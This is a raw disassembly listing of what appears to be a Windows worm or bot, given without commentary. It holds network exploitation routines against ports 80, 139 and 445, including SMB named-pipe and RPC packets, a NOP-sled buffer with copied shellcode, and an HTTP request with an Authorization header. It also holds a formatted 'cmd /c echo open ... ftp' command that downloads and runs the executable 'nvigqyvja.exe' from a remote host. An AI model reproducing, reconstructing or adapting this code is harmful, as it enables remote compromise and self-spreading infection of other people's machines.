call _memcpy push edi ; Size lea ebx, [esi+3Bh] push [ebp+Src] ; Src mov [esi+39h], di push ebx ; Dst call _memcpy push 6 ; Size add ebx, edi push offset dword_4CE36C ; Src push ebx ; Dst call _memcpy mov ebx, [ebp+arg_0] push 85h push offset dword_43234C push ebx call sub_40CEC0 add esp, 48h test al, al jnz short loc_40CF96 loc_40CF92: ; CODE XREF: sub_40CF05+B5j xor bl, bl jmp short loc_40CFD1 ; --------------------------------------------------------------------------- loc_40CF96: ; CODE XREF: sub_40CF05+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE41 push [ebp+var_4] push esi push ebx call sub_40CEC0 add esp, 1Ch test al, al jz short loc_40CF92 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE41 add esp, 10h mov bl, 1 loc_40CFD1: ; CODE XREF: sub_40CF05+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFDA: ; CODE XREF: sub_40CF05+24j pop edi pop esi pop ebx leave retn sub_40CF05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40CFDF(int,void *Src,size_t Size) sub_40CFDF proc near ; CODE XREF: .text:0040D439p var_20 = byte ptr -20h arg_0 = dword ptr 8 Src = dword ptr 0Ch Size = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_432410 push [ebp+arg_0] call ds:dword_427224 ; send cmp eax, 48h jnz short loc_40D01A push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE41 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D01A cmp [ebp+var_20], 82h jz short loc_40D01E loc_40D01A: ; CODE XREF: sub_40CFDF+1Bj ; sub_40CFDF+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01E: ; CODE XREF: sub_40CFDF+39j push [ebp+Size] ; Size push [ebp+Src] ; Src push [ebp+arg_0] ; int call sub_40CF05 add esp, 0Ch leave retn sub_40CFDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D031 proc near ; CODE XREF: sub_40D07D+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul ds:dbl_427688 call __ftol and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul ds:dbl_427680 fstp [esp+10h+var_10] call _floor fadd st, st pop ecx pop ecx fadd [ebp+var_8] call __ftol inc eax leave retn sub_40D031 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40D07D(int,int,__int16,char *Str) sub_40D07D proc near ; CODE XREF: sub_40D21F+24p var_4C = qword ptr -4Ch var_38 = byte ptr -38h var_2C = dword ptr -2Ch var_28 = qword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_B = byte ptr 13h Src = dword ptr 14h mov eax, offset loc_426DF7 call __EH_prolog sub esp, 2Ch mov al, [ebp+arg_B] push ebx push esi push edi xor edi, edi lea ecx, [ebp+var_38] push edi mov [ebp+var_20], edi mov [ebp+var_38], al call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) push 1 pop ebx push dword ptr [ebp+10h] mov [ebp+var_4], ebx call sub_40D031 cmp [ebp+var_2C], eax pop ecx jnb short loc_40D0BF push edi push eax lea ecx, [ebp+var_38] call ?_Grow@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAE_NI_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool) loc_40D0BF: ; CODE XREF: sub_40D07D+36j cmp [ebp+10h], edi mov [ebp+var_18], edi jbe loc_40D1DC mov ebx, [ebp+10h] loc_40D0CE: ; CODE XREF: sub_40D07D+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D8 push 3 jmp short loc_40D0EA ; --------------------------------------------------------------------------- loc_40D0D8: ; CODE XREF: sub_40D07D+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E2 push 2 jmp short loc_40D0EA ; --------------------------------------------------------------------------- loc_40D0E2: ; CODE XREF: sub_40D07D+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EB push 1 loc_40D0EA: ; CODE XREF: sub_40D07D+59j ; sub_40D07D+63j pop ebx loc_40D0EB: ; CODE XREF: sub_40D07D+69j mov dword ptr [ebp+var_28], ebx mov dword ptr [ebp+var_28+4], edi fild [ebp+var_28] push ecx push ecx ; double fmul ds:dbl_427698 fstp [esp+4Ch+var_4C] call _ceil pop ecx pop ecx call __ftol cmp ebx, edi mov [ebp+var_1C], eax jbe short loc_40D12A mov esi, [ebp+arg_4] mov ecx, ebx mov edx, ecx lea edi, [ebp+var_10] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D12A: ; CODE XREF: sub_40D07D+93j mov cl, [ebp+var_10] mov dl, [ebp+var_10] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp+var_14], cl mov cl, [ebp+var_F] sar cl, 4 and cl, 0Fh add [ebp+arg_4], ebx shl dl, 4 add cl, dl mov dl, [ebp+var_F] mov [ebp+var_13], cl mov cl, [ebp+var_E] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp+var_12], cl mov cl, [ebp+var_E] and cl, 3Fh cmp eax, edi mov [ebp+var_11], cl jbe short loc_40D198 add [ebp+var_18], eax loc_40D17C: ; CODE XREF: sub_40D07D+119j movsx eax, [ebp+esi+var_14] lea ecx, [ebp+var_38] mov al, byte_43245C[eax] push eax ; char push 1 ; Size call ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char) inc esi cmp esi, [ebp+var_1C] jb short loc_40D17C loc_40D198: ; CODE XREF: sub_40D07D+FAj cmp [ebp+var_18], 48h jb short loc_40D1B6 push [ebp+Src] ; Str call _strlen pop ecx push eax ; Size lea ecx, [ebp+var_38] push [ebp+Src] ; Src call sub_40D50A mov [ebp+var_18], edi loc_40D1B6: ; CODE XREF: sub_40D07D+11Fj push 4 pop esi cmp [ebp+var_1C], esi jnb short loc_40D1D0 sub esi, [ebp+var_1C] loc_40D1C1: ; CODE XREF: sub_40D07D+151j push 3Dh ; char push 1 ; Size lea ecx, [ebp+var_38] call ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char) dec esi jnz short loc_40D1C1 loc_40D1D0: ; CODE XREF: sub_40D07D+13Fj cmp [ebp+10h], edi ja loc_40D0CE push 1 pop ebx loc_40D1DC: ; CODE XREF: sub_40D07D+48j mov esi, [ebp+arg_0] mov al, [ebp+var_38] push edi mov ecx, esi mov [esi], al call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) push ds:dword_427690 lea eax, [ebp+var_38] mov ecx, esi push edi push eax call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ABV12@II@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint) mov [ebp+var_20], ebx and byte ptr [ebp+var_4], 0 push ebx lea ecx, [ebp+var_38] call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) mov ecx, [ebp+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D21F proc near ; CODE XREF: .text:0040D41Cp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h arg_C = byte ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch mov eax, offset sub_426E14 call __EH_prolog sub esp, 10h push ebx push esi push edi push offset byte_43D808 ; Str lea eax, [ebp+var_1C] push dword ptr [ebp+arg_8] ; __int16 xor ebx, ebx mov [ebp+var_4], ebx push [ebp+arg_4] ; int push eax ; int call sub_40D07D mov eax, [ebp+arg_14] mov ecx, [ebp+var_14] mov byte ptr [ebp+var_4], 1 lea esi, [ecx+eax+36h] push esi ; Size call _malloc mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D269 xor bl, bl jmp short loc_40D2AD ; --------------------------------------------------------------------------- loc_40D269: ; CODE XREF: sub_40D21F+44j mov ecx, [ebp+var_18] mov eax, offset dword_4276A0 cmp ecx, ebx jnz short loc_40D277 mov ecx, eax loc_40D277: ; CODE XREF: sub_40D21F+54j cmp [ebp+arg_10], ebx jz short loc_40D27F mov eax, [ebp+arg_10] loc_40D27F: ; CODE XREF: sub_40D21F+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi ; Count push edi ; Dest call __snprintf add esp, 14h push ebx push esi push edi push [ebp+arg_0] call dword_4CB6A4 ; send cmp eax, esi jz short loc_40D2A4 xor bl, bl jmp short loc_40D2A6 ; --------------------------------------------------------------------------- loc_40D2A4: ; CODE XREF: sub_40D21F+7Fj mov bl, 1 loc_40D2A6: ; CODE XREF: sub_40D21F+83j push edi call sub_41B0B1 pop ecx loc_40D2AD: ; CODE XREF: sub_40D21F+48j and byte ptr [ebp+var_4], 0 push 1 lea ecx, [ebp+var_1C] call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) or [ebp+var_4], 0FFFFFFFFh push 1 lea ecx, [ebp+arg_C] call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) mov ecx, [ebp+var_C] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset dword_432608 push eax call _memcpy add esp, 0Ch mov eax, offset Str ; "nvigqyvja.exe" push eax push eax movzx eax, word ptr dword_4CB390 push eax push dword ptr [ebp+8] call sub_40AC10 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call __snprintf add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset aSvwfbA ; "SVWfì€" push eax call sub_40CADB xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D378 xor eax, eax jmp loc_40D4A4 ; --------------------------------------------------------------------------- loc_40D378: ; CODE XREF: .text:0040D36Fj mov [ebp-0Ch], esi loc_40D37B: ; CODE XREF: .text:0040D47Bj test esi, esi jnz loc_40D481 push 6 push 1 push 2 call ds:dword_427220 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D469 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CB654 ; htons mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CB694 ; inet_addr mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CB5FC ; connect cmp eax, 0FFFFFFFFh jz loc_40D45E cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D426 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) lea eax, [ebp+0Ch] push eax call _strlen pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint) push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21F add esp, 1Ch jmp short loc_40D45B ; --------------------------------------------------------------------------- loc_40D426: ; CODE XREF: .text:0040D3E4j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D440 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDF jmp short loc_40D458 ; --------------------------------------------------------------------------- loc_40D440: ; CODE XREF: .text:0040D430j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45E push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF05 loc_40D458: ; CODE XREF: .text:0040D43Ej add esp, 0Ch loc_40D45B: ; CODE XREF: .text:0040D424j movzx esi, al loc_40D45E: ; CODE XREF: .text:0040D3D7j ; .text:0040D44Aj push ebx call dword_4CB6EC ; closesocket test esi, esi jnz short loc_40D474 loc_40D469: ; CODE XREF: .text:0040D394j push 3E8h call ds:dword_427078 ; Sleep loc_40D474: ; CODE XREF: .text:0040D467j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37B loc_40D481: ; CODE XREF: .text:0040D37Dj lea ecx, [ebp-8] call sub_40C900 test esi, esi jz short loc_40D4A2 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431B08[eax] lea eax, dword_431B08[eax] loc_40D4A2: ; CODE XREF: .text:0040D48Bj mov eax, esi loc_40D4A4: ; CODE XREF: .text:0040D373j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A9: ; CODE XREF: sub_426DD8+3j ; sub_426DE0+11j ... push 1 call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; [00000059 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40D50A(void *Src,size_t Size) sub_40D50A proc near ; CODE XREF: sub_40D07D+131p Src = dword ptr 4 Size = dword ptr 8 mov eax, ds:dword_427690 push ebx mov ebx, [esp+4+Size] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D524 call sub_42669A loc_40D524: ; CODE XREF: sub_40D50A+13j test ebx, ebx jbe short loc_40D559 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call ?_Grow@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAE_NI_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool) test al, al jz short loc_40D559 mov eax, [esi+8] push ebx ; Size push [esp+10h+Src] ; Src add eax, [esi+4] push eax ; Dst call _memcpy mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D559: ; CODE XREF: sub_40D50A+1Cj ; sub_40D50A+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D50A endp ; [000000CE BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint). PRESS KEYPAD "+" TO EXPAND] ; [00000085 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool). PRESS KEYPAD "+" TO EXPAND] ; [0000003C BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool). PRESS KEYPAD "+" TO EXPAND] ; [00000035 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint). PRESS KEYPAD "+" TO EXPAND] ; [00000067 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint). PRESS KEYPAD "+" TO EXPAND] ; [000000BD BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint). PRESS KEYPAD "+" TO EXPAND] ; [00000030 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Split(void). PRESS KEYPAD "+" TO EXPAND] ; [00000021 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89B proc near ; DATA XREF: .data:0042900Co jmp $+5 sub_40D89B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D8A0 proc near mov eax, dword_4328C0 add eax, 6 mov dword_4CE374, eax retn sub_40D8A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40D8AE(int,char,int,__int16,int,size_t Size,int,void *Src,int,int,char) sub_40D8AE proc near ; CODE XREF: sub_40D8AE+D0p ; sub_40D99C+471p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h Size = dword ptr 1Ch Src = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C2 or [ebp+arg_7], 1 jmp short loc_40D8C6 ; --------------------------------------------------------------------------- loc_40D8C2: ; CODE XREF: sub_40D8AE+Cj and [ebp+arg_7], 0FEh loc_40D8C6: ; CODE XREF: sub_40D8AE+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8EA or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+Size], ebx mov [ebp+arg_C], ax jmp short loc_40D8FC ; --------------------------------------------------------------------------- loc_40D8EA: ; CODE XREF: sub_40D8AE+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+Size], eax mov [ebp+arg_2B], 1 loc_40D8FC: ; CODE XREF: sub_40D8AE+3Aj movzx eax, [ebp+arg_C] push eax ; Size mov [ebp+var_4], eax call _malloc test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D995 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+Size] mov esi, [ebp+Src] push edi ; Size add eax, 18h push esi ; Src push eax ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call ds:dword_4270E0 ; WriteFile test eax, eax jz short loc_40D98C mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98C push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D988 push 0 ; char sub ebx, edi push [ebp+arg_24] ; int add edi, esi lea esi, [ebp+arg_4] push ebx ; int push edi ; Src sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] ; int rep movsd call sub_40D8AE add esp, 2Ch jmp short loc_40D997 ; --------------------------------------------------------------------------- loc_40D988: ; CODE XREF: sub_40D8AE+B3j mov al, 1 jmp short loc_40D997 ; --------------------------------------------------------------------------- loc_40D98C: ; CODE XREF: sub_40D8AE+9Cj ; sub_40D8AE+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D995: ; CODE XREF: sub_40D8AE+61j xor al, al loc_40D997: ; CODE XREF: sub_40D8AE+D8j ; sub_40D8AE+DCj pop edi pop esi pop ebx leave retn sub_40D8AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40D99C(size_t Size,int) sub_40D99C proc near ; CODE XREF: .text:0040DF9Ap var_60F0 = qword ptr -60F0h var_60DC = byte ptr -60DCh var_40DC = byte ptr -40DCh Dest = byte ptr -20DCh Dst = byte ptr -0DCh var_C8 = dword ptr -0C8h var_BC = byte ptr -0BCh var_B8 = byte ptr -0B8h var_B7 = byte ptr -0B7h var_B6 = byte ptr -0B6h var_B5 = byte ptr -0B5h var_B4 = dword ptr -0B4h var_B0 = word ptr -0B0h var_AE = word ptr -0AEh var_AC = dword ptr -0ACh var_A8 = word ptr -0A8h var_A6 = word ptr -0A6h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = word ptr -9Ch var_9A = byte ptr -9Ah var_98 = byte ptr -98h var_88 = dword ptr -88h var_84 = byte ptr -84h var_74 = dword ptr -74h Src = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = word ptr -60h var_5C = byte ptr -5Ch var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_45 = byte ptr -45h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = qword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 Size = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 60DCh call __alloca_probe push ebx push esi push edi push offset a__0 ; "." push [ebp+Size] call unknown_libname_4 ; Microsoft VisualC 2-8/net runtime pop ecx xor ebx, ebx test eax, eax pop ecx jz short loc_40DA0F push [ebp+Size] mov esi, 2000h lea eax, [ebp+Dest] push offset aSIpc ; "\\\\%s\\ipc$" push esi ; Count push eax ; Dest call __snprintf push 20h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset lea eax, [ebp+Dest] add esp, 1Ch mov [ebp+var_C8], eax mov eax, offset byte_43D808 push ebx push eax push eax lea eax, [ebp+Dst] push eax call sub_426750 jmp short loc_40DA14 ; --------------------------------------------------------------------------- loc_40DA0F: ; CODE XREF: sub_40D99C+23j mov esi, 2000h loc_40DA14: ; CODE XREF: sub_40D99C+71j push [ebp+Size] lea eax, [ebp+var_40DC] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_40DC] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call ds:dword_4270EC ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_40DA58 loc_40DA51: ; CODE XREF: sub_40D99C+194j ; sub_40D99C+36Aj ... xor al, al jmp loc_40DE9C ; --------------------------------------------------------------------------- loc_40DA58: ; CODE XREF: sub_40D99C+B3j push 48h ; Size lea eax, [ebp+var_B8] push ebx ; Val push eax ; Dst call _memset push 10h mov [ebp+var_B8], 5 pop eax mov [ebp+var_B7], bl push 1 mov [ebp+var_B4], eax pop edi mov [ebp+var_B6], 0Bh push eax ; Size lea eax, [ebp+var_98] push offset dword_432914 ; Src push eax ; Dst mov [ebp+var_B5], 3 mov [ebp+var_B0], 48h mov [ebp+var_AE], bx mov [ebp+var_AC], ebx mov [ebp+var_A8], 10B8h mov [ebp+var_A6], 10B8h mov [ebp+var_A4], ebx mov [ebp+var_A0], edi mov [ebp+var_9C], bx mov [ebp+var_9A], 1 call _memcpy push 10h ; Size lea eax, [ebp+var_84] push offset dword_432900 ; Src push eax ; Dst mov [ebp+var_88], 3 call _memcpy add esp, 24h lea eax, [ebp+var_BC] mov [ebp+var_74], 2 push ebx push eax lea eax, [ebp+var_B8] push 48h push eax push [ebp+var_4] call ds:dword_4270E0 ; WriteFile test eax, eax jnz short loc_40DB35 loc_40DB27: ; CODE XREF: sub_40D99C+265j push [ebp+var_4] call ds:dword_427068 ; CloseHandle jmp loc_40DA51 ; --------------------------------------------------------------------------- loc_40DB35: ; CODE XREF: sub_40D99C+189j lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_60DC] push esi push eax push [ebp+var_4] call ds:dword_4270E8 ; ReadFile push ebx ; Time call _time push eax call sub_41B8D8 push 14h ; Size lea eax, [ebp+Src] push 41h ; Val push eax ; Dst call _memset push 1Ch ; Size lea eax, [ebp+var_30] push 41h ; Val push eax ; Dst call _memset add esp, 20h call _rand mov esi, [ebp+arg_4] mov [ebp+Src], eax mov [ebp+var_64], edi mov [ebp+var_68], ebx lea esi, [esi+esi*4] mov [ebp+var_6C], edi shl esi, 2 mov [ebp+var_60], bx cmp byte_4328A8[esi], bl jz short loc_40DBAC push 4 mov [ebp+var_24], edi mov [ebp+var_28], ebx mov [ebp+var_2C], edi push offset dword_4CE37C jmp short loc_40DBBF ; --------------------------------------------------------------------------- loc_40DBAC: ; CODE XREF: sub_40D99C+1FCj push 2 mov [ebp+var_28], ebx pop eax push 4 ; Size mov [ebp+var_24], eax mov [ebp+var_2C], eax push offset dword_4328F8 ; Src loc_40DBBF: ; CODE XREF: sub_40D99C+20Ej lea eax, [ebp+var_20] push eax ; Dst call _memcpy add esp, 0Ch call _rand mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp+var_30], edx call _rand cdq idiv edi mov eax, dword_43289C[esi] mov [ebp+var_18], ebx push eax ; Size mov [ebp+Size], eax inc edx mov [ebp+var_1C], edx call _malloc mov edi, eax pop ecx cmp edi, ebx jz loc_40DB27 mov eax, [ebp+Size] add eax, 0FFFFFFFEh push eax ; Size push 90h ; Val push edi ; Dst call _memset mov eax, [ebp+Size] push 2 ; Size push ebx ; Val lea eax, [edi+eax-2] push eax ; Dst call _memset mov eax, dword_4328A4[esi] push 7 ; Size add eax, edi push offset dword_432890 ; Src push eax ; Dst mov [ebp+arg_4], eax call _memcpy mov eax, [ebp+arg_4] push 15Ch ; Size add eax, 7 push offset dword_432730 ; Src push eax ; Dst call _memcpy mov eax, dword_4328A0[esi] add esp, 30h cmp byte_4328A8[esi], bl mov [ebp+arg_4], eax jz short loc_40DCB8 push 4 ; Size add eax, edi push offset dword_4CE374 ; Src push eax ; Dst call _memcpy add [ebp+arg_4], 0Ch mov esi, offset dword_4328C0 mov eax, [ebp+arg_4] push 4 ; Size add eax, edi push esi ; Src push eax ; Dst call _memcpy mov eax, [ebp+arg_4] push 4 ; Size push esi ; Src lea eax, [eax+edi+24h] push eax ; Dst mov [ebp+arg_4], eax call _memcpy mov eax, [ebp+arg_4] push 4 ; Size add eax, 0Ch push esi ; Src push eax ; Dst call _memcpy add esp, 30h jmp short loc_40DCE0 ; --------------------------------------------------------------------------- loc_40DCB8: ; CODE XREF: sub_40D99C+2CDj add eax, edi mov [ebp+var_8], 10h mov [ebp+arg_4], eax mov esi, offset dword_4328C0 loc_40DCC9: ; CODE XREF: sub_40D99C+342j push 4 ; Size push esi ; Src push [ebp+arg_4] ; Dst call _memcpy add [ebp+arg_4], 4 add esp, 0Ch dec [ebp+var_8] jnz short loc_40DCC9 loc_40DCE0: ; CODE XREF: sub_40D99C+31Aj mov eax, [ebp+Size] add eax, 42h push eax ; Size call _malloc mov esi, eax pop ecx cmp esi, ebx mov [ebp+var_8], esi jnz short loc_40DD0B push [ebp+var_4] call ds:dword_427068 ; CloseHandle push edi call sub_41B0B1 pop ecx jmp loc_40DA51 ; --------------------------------------------------------------------------- loc_40DD0B: ; CODE XREF: sub_40D99C+358j mov eax, [ebp+Size] add eax, 42h push eax ; Size push ebx ; double push esi ; Dst call _memset lea eax, [ebp+Src] push 14h ; Size push eax ; Src push esi ; Dst call _memcpy mov eax, [ebp+Size] mov dword ptr [ebp+var_10+4], ebx mov dword ptr [ebp+var_10], eax add esp, 10h fild [ebp+var_10] fmul ds:flt_4276A4 fstp [esp+60F0h+var_60F0] call _ceil call __ftol push [ebp+Size] ; Size mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi ; Src push eax ; Dst call _memcpy mov eax, [ebp+Size] add esp, 14h add eax, 20h test al, 3 mov [ebp+arg_4], eax jz short loc_40DD78 loc_40DD70: ; CODE 